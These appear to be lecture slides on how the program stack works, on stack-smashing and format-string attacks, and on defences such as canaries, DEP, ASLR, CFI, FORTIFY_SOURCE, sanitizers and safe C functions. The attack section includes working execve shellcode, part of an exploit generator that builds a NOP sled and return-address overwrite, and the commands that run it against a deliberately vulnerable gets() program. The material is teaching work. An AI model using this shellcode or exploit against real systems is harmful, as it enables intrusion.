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How does 
the program stack 

work? 



Function call

Let us describe how function calls are generally handled. Details may differ according to 
calling conventions and compilation options (e.g. for code protection or optimisation).

PC = program counter, the address of the currently execution instruction
SP = stack pointer, the address of the current stack location
FP = frame pointer, the base address for local function data in the stack
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f() {
  . . .
  r = g(a1, a2, …, an);
  next_instr;
}   

g( ... ) { 
  . . . 
  return … ;
} 

PC

<heap> <unused>  <frame for f>

FPSP



Function calls - initiation by caller

Calling function proceeds by:
1) Push arguments onto the stack in reverse order. Some of the 
arguments (up to some limit) may be passed through registers. to 
the address of function.
2) Pushes the return address onto the stack, i.e., the address of the 
instruction after the call (current PC + some offset).
3) Branches to called function, changing PC.
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f() {
  . . .
  r = g(a1, a2, …, an);
  next_instr;
}   

g( ... ) { 
  . . . 
  return … ;
} 

 <RA> <a1> <a2> … <an> <frame for f>

SP

PC

FP



On entry, called function proceeds by:
1) Pushing the old (the callee’s) frame pointer onto the stack.
2) Sets the frame pointer to the current stack pointer.
3) It then continues using the stack for local variables/
intermediate values onto the stack as needed (using the new 
frame pointer reference)
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… <saved FP> <RA> <a1> <a2> … <an> <frame for f>

SP FP

f() {
  . . .
  r = g(a1, a2, …, an);
  next_instr;
}   

g( ... ) { 
  . . . 
  return … ;
} 

PC

Function calls - initiation by callee

FPSP



On return, the callee function proceeds by:
1) Sets stack to current FP. 
2) Pops (restore) the frame pointer from the stack.
2) Pops the return address from the stack and arguments (if any).
3) Branches back to the return address. 

Some calling conventions push the return value (if any) onto the stack, others use a 
register (we assume it’s a register in this case).
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… <saved FP> <RA> <a1> <a2> … <an> <frame for f>

SP FP

f() {
  . . .
  r = g(a1, a2, …, an);
  next_instr;
}   

g( ... ) { 
  . . . 
  return … ;
} 

PC

Function calls - return sequence

FPSP



Simple x86_64 example

x86_64 registers used in calls:
%rip — program counter

%rsp — stack pointer

%rbp — frame pointer
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int main(int argc, char** argv) {
  long r = foo(5, 2);
  printf("%ld\n", r);
  return 0;
}

long foo(long a, long b) {
  long s = a + b, 
       d = a - b;
  return s * d;
}

<heap> <unused>  <frame for f>

FP=%rbpSP=%rsp

PC=%rbi



Simple example — call initiation

main:

Uses registers pass both arguments. %esi and %edi are shorthand for the lower 
32 bits of the %rdi and %rsi general-purpose registers [5 and 2 fit on 32-bits]
The call  instructions then places the RA on the stack, and updates the PC 
(%rip) to foo.
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int main(int argc, char** argv) {
  long r = foo(5, 2);
  printf("%ld\n", r);
  return 0;
}

long foo(long a, long b) {
  long s = a + b, 
       d = a - b;
  return s * d;
}

main:
  ... 

movl $2, %esi
movl $5, %edi
call foo

  … 

foo:
  pushq  %rbp
  movq %rsp, %rbp
  movq %rdi, -24(%rbp)
  movq %rsi, -32(%rbp)

… <old %rbp> <ra>  <frame for f>

%rbp%rsp

%rip



Simple example — call initiation (2)

foo:

Saves the FP  (%rbp) onto the stack (%sp), before resetting it to the current 
SP (%rbp).
Pushes the arguments ( %rdi and %rsi ) onto the stack for convenience in 
later processing.
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int main(int argc, char** argv) {
  long r = foo(5, 2);
  printf("%ld\n", r);
  return 0;
}

long foo(long a, long b) {
  long s = a + b, 
       d = a - b;
  return s * d;
}

main:
  ... 

movl $2, %esi
movl $5, %edi
call foo

  … 

foo:
  pushq  %rbp
  movq %rsp, %rbp
  movq %rdi, -24(%rbp)
  movq %rsi, -32(%rbp)

… <old %rbp> <ra>  <frame for f>

%rbp

%rsp



Simple example —return sequence

On return, foo:
Places the result on %rax — imulq …, %rax

Pops the FP (of main) from the stack — popq %rbp

Pops the return address from the stack and returns — ret
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int main(int argc, char** argv) {
  long r = foo(5, 2);
  printf("%ld\n", r);
  return 0;
}

long foo(long a, long b) {
  long s = a + b, 
       d = a - b;
  return s * d;
}

main:
  ... 

movl $2, %esi
movl $5, %edi
call foo

  … 

foo:
  …
  imulq -16(%rbp), %rax
  popq %rbp
  ret

… <old %rbp> <ra>  <frame for f>

%rbp%rsp



Simple example — illustration with gdb
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Breakpoint 1, main (argc=1, 
argv=0x7fffffffe5f8) at stack_test.c:
10
10   long r = foo(5, 2);
(gdb) p $rbp
$1 = (void *) 0x7fffffffe510
(gdb) p $rsp
$2 = (void *) 0x7fffffffe4f0
(gdb) p $rip
$3 = (void (*)()) 0x400574 <main+15>
(gdb) s

Breakpoint 2, foo (a=5, b=2) 
at stack_test.c:4
4   long s = a + b, 
(gdb) p $rbp
$4 = (void *) 0x7fffffffe4e0
(gdb) p $rsp
$5 = (void *) 0x7fffffffe4e0
(gdb) p $rip
$6 = (void (*)()) 0x400539 <foo+12>
(gdb) p *(void**) $rbp
$7 = (void *) 0x7fffffffe510
(gdb) p *(void**) ($rbp+8) 
$8 = (void *) 0x400583 <main+30>
(gdb) n
5        d = a - b;
(gdb) n
6   return s * d;
(gdb) p $rip
$9 = (void (*)()) 0x40055a <foo+45>
(gdb) ret
Make foo return now? (y or n) y

#0  0x0000000000400583 in main (argc=1, 
    argv=0x7fffffffe5f8) at stack_test.c:
10
10   long r = foo(5, 2);
(gdb) p $rip
$10 = (void (*)()) 0x400583 <main+30>
(gdb) p $rbp
$11 = (void *) 0x7fffffffe510

return address

saved
FP



Stack smashing 
attacks



Assumptions
Let us assume for now that;

we can perform a buffer overflow on the stack without  
any protection in place
we can place executable code on the stack
memory addresses are predictable (in particular the 
stack)

Provided the program has a vulnerability of “interest”, we 
can think of a stack-smashing attack.
Idea — overflow the stack frame of a function such that:

malicious code is placed on the stack, and the return 
address is changed to point to it
hence, on function return, the malicious code gets 
executed
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A simple example

Simple “hello” program that:
 calls a gets operation to read a string onto buffer name
then prints “Hello <username>\n” using 3 printf calls
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#include <stdio.h>
int main(int argc, char**argv) {
  char name[128];
  printf(“What’s your name?\n”);
  gets(name);
  printf(“Hello %s!\n”);
  return 0;
}

$ ./hello.bin 
What's your name?
Eduardo
Hello Eduardo

normal execution



A simple example (2)

Compiler warns us that the  gets “is dangerous and 
should not be used”!
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#include <stdio.h>
int main(int argc, char**argv) {
  char name[128];
  printf(“What’s your name?\n”);
  gets(name);
  printf(“Hello %s!\n”);
  return 0;
}

hello.o: In function `main':
hello.c:(.text+0x1a): warning: the `gets' function is 
dangerous and should not be used.

compiler warning!



A simple example (2)

gets call easily leads to a buffer overflow
gets will read input until a newline (‘\n’), doing so without  internal information of the size 
of the input buffer; gets receives a pointer to the buffer, not the buffer length information
the buffer overflow normally causes a crash (“segmentation fault”)  — not a good thing, 
but in any case “just” a crash
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What's your name?
1234567890123456789012345678901234567890
Hello 12345678901234567890…12345678901234567890
Segmentation fault (core dumped)

execution with crash

#include <stdio.h>
int main(int argc, char**argv) {
  char name[128];
  printf(“What’s your name?\n”);
  gets(name);
  printf(“Hello %s!\n”);
  return 0;
}



Stack smashing attack — outline

Call to gets may be exploited with malicious input that:
fills the buffer with code with a NOP sled (sequence of NOPs) plus “shell 
code” to open a system shell
NOP sled is useful because we may only know the whereabouts of name 
approximately.
modifies the return address of main to jump to the (NOP sled and then in 
sequence) the “shell code” instructions.

Shell code? Easy to obtain online. 
Challenge: overwrite the RA with the address of name  var (or 
approximately) ? 
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name Saved FP return address

garbage modified RAshell codeNOP sled



Example shell code

Size: only 30 bytes.
Carefully crafted not to contain null (0) values. Q: Why?
Source (my comments in bold): http://shell-storm.org/shellcode/files/
shellcode-603.php 18

   // Goal is to execute execve("/bin/sh", [“/bin/sh”, 0], 0)
   // We need to set rax = 0x3b, rsi = [“/bin/sh”, 0], rdx = 0
   section .text
            global _start
    _start:
            xor     rdx, rdx    # rdx = 0  (3rd parameter)
            mov     qword ‘//bin/sh’, rbx # prepare 1st argument
            shr     $0x8, %rbx  # shift 8 bits => “/bin/sh\0”
            push    rbx         # push “/bin/sh\0” to the stack
            mov     rsp, rdi    # get it on rdi (1st parameter)
            push    rax         # push 0 (2nd array argument referenced by rsi)
            push    rdi         # push “/bin/sh\0” (1st array argument)
            mov     rsp, rsi    # point rsi (2nd argument) to the stack pointer
            mov     $0x3b,al    # low 8 bytes of rax - code for execve syscall 
            syscall

4831d248bb2f2f62696e2f736848c1eb08534889e750574889e6b03b0f05

http://shell-storm.org/shellcode/files/shellcode-603.php
http://shell-storm.org/shellcode/files/shellcode-603.php


Shell code (2)

Just a test: explicity-triggered execution works!
We get a shell. 19

const unsigned char instructions[] = 
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov      $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall
. . .
puts("The shell code will now execute ...");
(*(void (*)()) instructions)(); // 

$ ./shellcode.bin e
The shell code will now execute ...
$ pwd 
/home/edrdo/qses-buffer-overflow-examples/qses_stack_smashing
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
…



Guessing the return address? Using gdb

Using gdb we can see that:
0x7fffffffe410 is an approximate address for name - address differs in debug mode 
from real execution, and in real execution according to env. variables for example
name + 128 = %rbp 

RA = name + 134.

… but how to get an idea of the address of name without using gdb?
In a real attack, without direct access to source code or ability to use gdb:

Brute force: try a lot of different values.
We can use the format string vulnerability to get an idea of the region of memory.

Let’s just cheat since in this case, since we have the code at hand by adding a printf for the 
address of name and generating an exploit based on it.
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Breakpoint 1, main () at hello.c:4
4   puts("What's your name?");
(gdb) p (void*) name
$1 = (void *) 0x7fffffffe410
(gdb) p $rbp - (void*) name
$2 = 128
(gdb) p *(void**)($rbp+8)
$3 = (void *) 0x7ffff7a32f45 <__libc_start_main+245>



Exploit generation & execution
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        long address;
        int len, nops,c;
        . . .
        for (int i = 0; i < nops; i++) fputc(NOP_OPCODE, stdout);
        fwrite(instructions, 1, SHELLCODE_LENGTH, stdout);
        for (int i = nops + SHELLCODE_LENGTH; i < len; i++) fputc(NOP_OPCODE,stdout);
        fwrite(&address, 1, sizeof(address), stdout);
        fputc('\n',stdout);
        fflush(stdout);

$ ./shellcode.bin x 0x7fffffffe410 134 20 > xploit.bin
$ (cat xploit.bin; cat) | ./hello.bin
What's your name?
Hello, H1?H?//bin/shH?SH??
PWH??;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`????!
uname 
Linux
pwd 
/home/edrdo/bo

shellcode.c (exploit generation part)

NOPS again modified RAshell codeNOP sled



Some famous attacks 

Morris Worm (1990) 
“Accidental” attack caused DoS brought down 
much of the (then-small) Internet

More info here: “The Internet Worm Program: 
An Analysis”, E. H. Spafford (page 9 for stack-
based overflow details)
Named after Robert T. Morris, convicted  at 
the time. He is now a professor at MIT !

Other famous attacks:
Code Red worm
SQL Slammer

Interesting historical account (until 2009): 
“Memory Corruption Attacks The (almost) 
Complete History”, Haron Meer, Black Hat USA 
2010
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http://www.computerhistory.org/timeline/networking-the-web/#169ebbe2ad45559efbc6eb35720646a8
http://spaf.cerias.purdue.edu/tech-reps/823.pdf
http://spaf.cerias.purdue.edu/tech-reps/823.pdf
https://pdos.csail.mit.edu/~rtm/
http://www.caida.org/research/security/code-red/coderedv2_analysis.xml
https://en.wikipedia.org/wiki/SQL_Slammer
https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf
https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf
https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf


Variation: format-string vulnerability

Compiler warns us about:
 the use of gets (“is dangerous and should not be used”)
but also about the second printf  call, that takes name as 
argument (why so?)
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#include <stdio.h>
int main(int argc, char**argv) {
  char name[32];
  gets(name);
  printf(“Hello “);
  printf(name);
  printf(“\n”);
  return 0;
}

hello.c:7:3: warning: format not a string literal 
and no format arguments [-Wformat-security]
   printf(name);

hello.o: In function `main':
hello.c:(.text+0x1a): warning: the `gets' function is 
dangerous and should not be used.

compiler warnings



Variation (2)

CWE-134: “Use of Externally-Controlled Format String”  , commonly known as 
format-string vulnerability!  We introduce a “format string” for name!  The 
printf  call looks up the arguments for “print-out”  even if there are really none, 
causing memory to be dumped and possibly overwritten.
Information disclosure of memory contents itself may be helpful for stack-smashing 
attack.
But printf may also write onto the stack (%n modifier) — see “Exploiting Format 
String Vulnerabilities”, by “scut” and “team teso”, 2001 24

#include <stdio.h>
int main(int argc, char**argv) {
  char name[32];
  gets(name);
  printf(“Hello “);
  printf(name);
  printf(“\n”);
  return 0;
}

execution leaking information in the stack
What's your name?
%p %p %p
Hello 0x400720 0x7ffff7dd59e0 0x206f6c6c

https://cwe.mitre.org/data/definitions/134.html
https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf


Beyond stack-smashing — brief 
reference

Simple proof-of-concept where things were made too easy. A 
number of protections were disabled (discussed next).  

Stack protections (canaries) are disabled!
NX/DEP protection data — the stack is executable
ASLR disabled — addresses are predictable on every run 

return-to-libc attacks:
when stack is not executable, try to change return address to 
interesting libc code, e.g. a call to system 

ROP chains  
ROP chains manipulate the stack (but do no execute code on it) to 
execute small code fragments (“gadgets”)  in a chain with malicious 
purpose.
Gadgets are collected from code that is marked as executable, for 
instance glibc fragments.  Tools like Ropper help in this purpose. 

 25



ROP chains — illustration

Source: “An introduction to the Return Oriented Programming and ROP chain 
generation”, J. Salwan, Univ. Bordeaux
See also: “Return-Oriented Programming: Systems, Languages, and 
Applications”, Roemer et al., ACM TISSEC, 2012 26

http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
https://dl.acm.org/citation.cfm?id=2133377
https://dl.acm.org/citation.cfm?id=2133377


Handling buffer 
overflows

memory protections 



Memory protections

Prevention of buffer overflows
Use of stack canaries 
Data execution prevention /non-executable flag (DEP/NX)
Address Space Layout Randomization (ASLR)
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Using canaries

Stack corruption detection
Protect the stack with a canary value. 
On return, canary is checked causing termination if value differs.

It does not protect against local variable overriding!
Mechanism can be defeated if canary is known or can be guessed

Canary is constant :) or generated with a PRNG that is weak or whose seed can be 
guessed. Cryptographic-strength PRNG makes this harder 

… or if attacker finds a way to determine the canary’s position and read 
its value from the stack.
Performance overhead

extra code required per function call, even if compiler tries to be smart / developer 
has a choice of options, e.g. e.g. GCC has several -fstack-protector-XXXX flavors 
(see next slide)

There are memory protections that can enabled for the heap too, e.g, also in 
GCC
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canary

return address

frame pointer (RBP)

local  
variables

https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Instrumentation-Options.html#index-fstack-protector
https://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html
https://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html


Stack protections — GCC
Our examples have been compiled so far using the -fno-stack-
protector switch, that disables stack canaries.

Older GCC versions (e.g. tested on 5.3) doesn’t really require the switch, 
as it does not emit code for stack canaries. Recent versions (e.g. 7.3) do 
so by default. Recent versions of the clang compiler also do.

Some GCC stack protection settings (also typically accepted in 
clang):

-fstack-protector: stack protection added for “vulnerable objects”, 
including “functions that call alloca and functions with buffers larger than 
8 bytes” (from the GCC 7.3 manual)
-fstack-protector-strong: “includes additional functions to be 
protected”, e.g.  “those that have local array definitions”
-fstack-protector-all: protects all functions
-fstack-protector-explicit: “only protects those functions which 
have the stack_protect attribute.
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Example stack protection code generated 
by GCC (5.3)
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main:
  # On entry
  pushq   %rbp
  movq    %rsp, %rbp
  subq    $144, %rsp
  movq    %fs:40, %rax    # Canary value onto rax
  movq    %rax, -8(%rbp)  # pushed onto the stack
  ... 
  # On exit
  movq    -8(%rbp), %rdx  # pops canary location
  xorq    %fs:40, %rdx    # compare with original value
  je      .L3
  call    __stack_chk_fail # stack check failed
.L3:
  leave # normal return
  ret

gcc -fstack-protector …



Data execution prevention (DEP)

Our code has also been compiled with the -z 
execstack switch, passed on to the GNU program linker 
(ld)

This lets data the stack and heap segments  be executable. 
The NX (non-executable) bit is set for these memory segments.

Provided canaries can be defeated, return-to-libc / ROP 
attacks are feasible.

 32



Address-space layout randomisation 
(ASLR)

ASLR 
OS randomly arrange positions of key areas in the memory layout 
(stack, heap, data, code) including library code.
Addresses  of variables, functions are different on every run of a 
program.
This applies to a program but also possibly linked libraries to libc 
address functions.

We disabled ASLR (in Linux) by setting the value in /proc/
sys/kernel/randomize_va_space to 0.
Benefit 

Adversary cannot rely on fixed memory layout. 
Brute-forte attacks required in principle; adversary may also rely on 
information leaks from the program / ASLR scheme vulnerabilities 

 33



Control flow integrity
Canaries/NX-bits/ASLR are mechanisms for trying to detect / 
defeat control-flow hijack.
Control flow integrity seeks to ensure that the control flow 
of a program is (really) as expected:

Functions: if f  calls g at instruction I  then when g returns 
execution resumes (the PC is restored) in f at instruction I+1.
More generally: each control branch taken during program 
execution (not just function calls/returns) corresponds to the 
program’s intended behavior.

CFI schemes work by:
determining possible branches statically, e.g., according to 
individuaul procedure CFGs, call-graphs.
instrumenting code to verify branches during execution are as 
expected

 34



Control flow integrity (2)

CFI instrumentation scheme - overview:

Maintain a “shadow stack” to monitor control flow through CFI IDs.

Branch target locations have associated CFI IDs.

Branch instructions push the ID of their target onto the “shadow stack”, 
that is checked at the branch target.

 35

From:  “Control Flow Integrity: Principles, Implementations, and Applications”, M. Abadi et al. , CCS 2005

https://users.soe.ucsc.edu/~abadi/Papers/cfi-tissec-revised.pdf


Other protections

“Fortified” source code in libraries
Idea: fortify security-sensitive library calls.
We ’ l l h a v e a b r i e f l o o k a t G C C / G L I B C ’s 
_FORTIFY_SOURCE flag.

Runtime sanitizers 
Idea: monitor program execution to detect errors and 
possibly trap execution. 
Specially useful during development (there is an 
inherent runtime overhead).
Two example gcc/clang sanitizer plugins: Undefined 
Behavior Sanitizer, and Address Sanitizer

 36



The glibc _FORTIFY_SOURCE flag

We may employ glibc’s _FORTIFY_SOURCE.
During compilation:

Signals buffer overflows over variables with size known at compile-time.

During execution:
Performs runtime checks that also try to detect buffer overflows.

Let us take a look at an example from “Enhance application 
security with FORTIFY_SOURCE”,   Siddharth Sharma, Red Hat 
blogs

 37

https://access.redhat.com/blogs/766093/posts/1976213
https://access.redhat.com/blogs/766093/posts/1976213


glibc’s _FORTIFY_SOURCE flag (2)
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  // Known size for both source and destination
  char buffer[5]; 
  . . .
  strcpy(buffer,”deadbeef");

$ gcc -D_FORTIFY_SOURCE=1 -O fortify_test.c -o fortify_test
In file included from /usr/include/string.h:635:0,
                 from fortify_test.c:9:
In function 'strcpy',
    inlined from 'main' at fortify_test.c:16:3:
/usr/include/bits/string3.h:110:10: warning: call to 
__builtin___strcpy_chk will always overflow destination buffer
   return __builtin___strcpy_chk (__dest, __src, __bos 
(__dest));

In this example the buffer overflow is detected at compile-time, given that the 
size of involved buffers and data contents can be deduced. The buffer overflow 
is also signalled during execution.

$ ./fortify_test
Buffer Contains: `???? , Size Of Buffer is 5
*** buffer overflow detected ***: ./fortify_test terminated
======= Backtrace: =========
/lib64/libc.so.6(+0x77de5)[0x7ffff7a92de5]



gcc’s FORTIFY_SOURCE flag (3)
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  char buffer[5]; // known size
  strcpy(buffer, argv[1]); // argv[1] size not known

$ gcc -D_FORTIFY_SOURCE=1 -O fortify_test2.c -o fortify_test2

$ ./fortify_test2 abcd

$ ./fortify_test2 abcde
*** buffer overflow detected ***: ./fortify_test2 terminated
======= Backtrace: =========
/lib64/libc.so.6(+0x77de5)[0x7ffff7a92de5]
/lib64/libc.so.6(__fortify_fail+0x37)
. . .
./fortify_test2[0x400499]
 

In this example there are no warnings at compile-time, given that the size of the program 
argument string is only known at runtime.

But the size of the destination buffer is known, hence the buffer overflow can be detected at 
runt ime. Under the hood The strcpy(buffer,argv[1])  cal l is replaced by 
strcpy_chk(buffer, argv[1], 5)



Undefined Behavior Sanitizer

UBSan is a gcc/clang plugin for detecting undefined behavior 
during execution of a program.

enabled using -fsanitize=undefined switch during compilation
undefined behavior errors are reported during execution, but program 
execution is also halted if  -fno-sanitize-recover  is specified 
during compilation

The array overflow example we saw previously is now signalled.
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  int sum = 0;
  int numbers[N];

  for (int i = 0; i <= N; i++) 
    sum += numbers[i];

stack_overflow.c:9:12: runtime error: index 5 out of bounds for type 'int [5]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior stack_overflow.c:9:12 in 
Abort trap: 6

https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html


Undefined Behavior Sanitizer (2)

UBSan is a gcc/clang plugin for detecting undefined behavior during execution of a 
program.

enabled using -fsanitize=undefined switch during compilation
undefined behavior errors are reported during execution, but program execution is also halted 
if -fno-sanitize-recover is specified during compilation

The null-pointer dereference example we saw previously now always halts 
(regardless of whether optimisation is turned on or off).
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int flawed_function(Foo* pointer) {
  int v = pointer -> data; // dereference before check
  if (pointer == NULL) // actual check
    return -1;
  return v; 
}
int main(int argc, char** argv) {
  printf("result = %d\n", flawed_function(NULL)); // What to expect?
  return 0;
}

null_pointer_deref.c:8:22: runtime error: member access within null
pointer of type 'Foo'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior 
null_pointer_deref.c:8:22 in 
Abort trap: 6

https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html


Address Sanitizer

AddressSanitizer is a runtime memory error detector.
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  int n;  unsigned char *a, *b;
  n =  . . .;
  a = (char*) malloc(n);   // allocate memory for a
  memset(a, 'x', n);       // set all positions to 'x'
 free(a);                 // free memory
  // a is now a dangling reference (to freed up memory)
  b = (char*) malloc(2*n);  // allocate memory for b
  printf("a == b ? %s\n", a == b ? "yes" : "no");
  memset(b, 'X', 2*n);       // set all positions to 'X'
  memset(a, 'x', n);    // use-after-free
  free(a);                   // double free! (and what about b?)

==17390==ERROR: AddressSanitizer: heap-use-after-free on 
address 0x6020000000d0 at pc 0x000106cf1fa6 bp 0x7ffee8f0def0 
sp 0x7ffee8f0dee8

https://github.com/google/sanitizers/wiki/MemorySanitizer


Handling buffer 
overflows

secure programming



Secure programming

Secure programming techniques 
Argument validation / defensive programming
Avoid inherently dangerous API calls / use safe variants of 
those, in particular string manipulation functions in C
Manage dynamically allocated (heap) memory correctly
…

Established advice for secure programming
SEI CERT C Coding Standard

Validation: Use code reviewing tools and testing to find 
vulnerabilities and fix them 
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https://www.securecoding.cert.org/confluence/display/c/SEI+CERT+C+Coding+Standard


Insecure API calls 

Examples of C functions involving string manipulation
For input/ouput: gets scanf fscanf
General string manipulation: strcpy strcat sprintf

Some of these calls have bounded-length variants 
A length argument indicates the maximum amount of memory to 
consider
Examples: fgets strncpy snprintf

Bounded-length variants are not entirely safe, e.g.
No guarantee of null-termination for the target buffer.
Undefined behavior when buffers overlap
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C11 - ISO/IEC TR 24731

A safer set  functions in C11 - ISO/IEC TR 24731
Further reference: 

“On Implementation of a Safer C Library, ISO/IEC TR 24731”, Laverdière-Papineau  et al., 2006
“Security Development Lifecycle (SDL) Banned Function Calls”, Michael Howard, Microsoft 
Developer Network 
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From: http://en.cppreference.com/w/c/string/byte/strncpy

https://arxiv.org/abs/0906.2512
https://arxiv.org/abs/0906.2512
https://msdn.microsoft.com/en-us/library/bb288454.aspx


Safe string manipulation functions

Insecure ⟹ (more) secure:
strcat ⟹ strlcat 
strcpy, strncpy ⟹ strlcpy (note: strncpy does not ensure NULL 
termination)
strncat ⟹ strlcat 
strncpy ⟹ strlcpy 
sprintf ⟹ snprintf 
vsprintf ⟹ vsnprintf 
gets ⟹ fgets 

Microsoft library versions
strcpy_s, strncpy_s (eq. to strlcpy),  strcat_s

 47



SEI CERT C — a few examples
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STR07-C

MEM00-C

FIO20-C

https://www.securecoding.cert.org/confluence/display/c/STR07-C.+Use+the+bounds-checking+interfaces+for+string+manipulation
https://www.securecoding.cert.org/confluence/display/c/MEM00-C.+Allocate+and+free+memory+in+the+same+module,+at+the+same+level+of+abstraction
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=3226


C/C++ source code analysis

Historical tools — limited “grep-like” analysis, but security-
oriented:

RATS (Rough Auditing Tool For Security) for C, C++, Perl, PHP, 
Python. “As its name implies, the tool performs only a rough analysis 
of source code.”
FlawFinder: “a simple program that examines C/C++ source code 
and reports possible security weaknesses […] is not a sophisticated 
tool. It is an intentionally simple tool, but people have found it useful.”

Modern, more powerful C/C++/Objective-C analysers
Clang Static Analyzer
Facebook Infer
Sonar Source C/C++  (commercial)

SonarSource makes plugins for other mainstream languages free for use in 
the community edition though
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https://code.google.com/archive/p/rough-auditing-tool-for-security/
https://dwheeler.com/flawfinder/
https://clang-analyzer.llvm.org/
https://fbinfer.com/
https://www.sonarsource.com/products/codeanalyzers/sonarcfamilyforcpp.html


RATS/Flawfinder

Even if FlawFinder / RATS perform rough analysis, their  generated 
reports include:

The location of the problems
Description of the potential vulnerability and corresponding CWE reference
Suggestion for change in the code
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Clang static analyzer - screenshots
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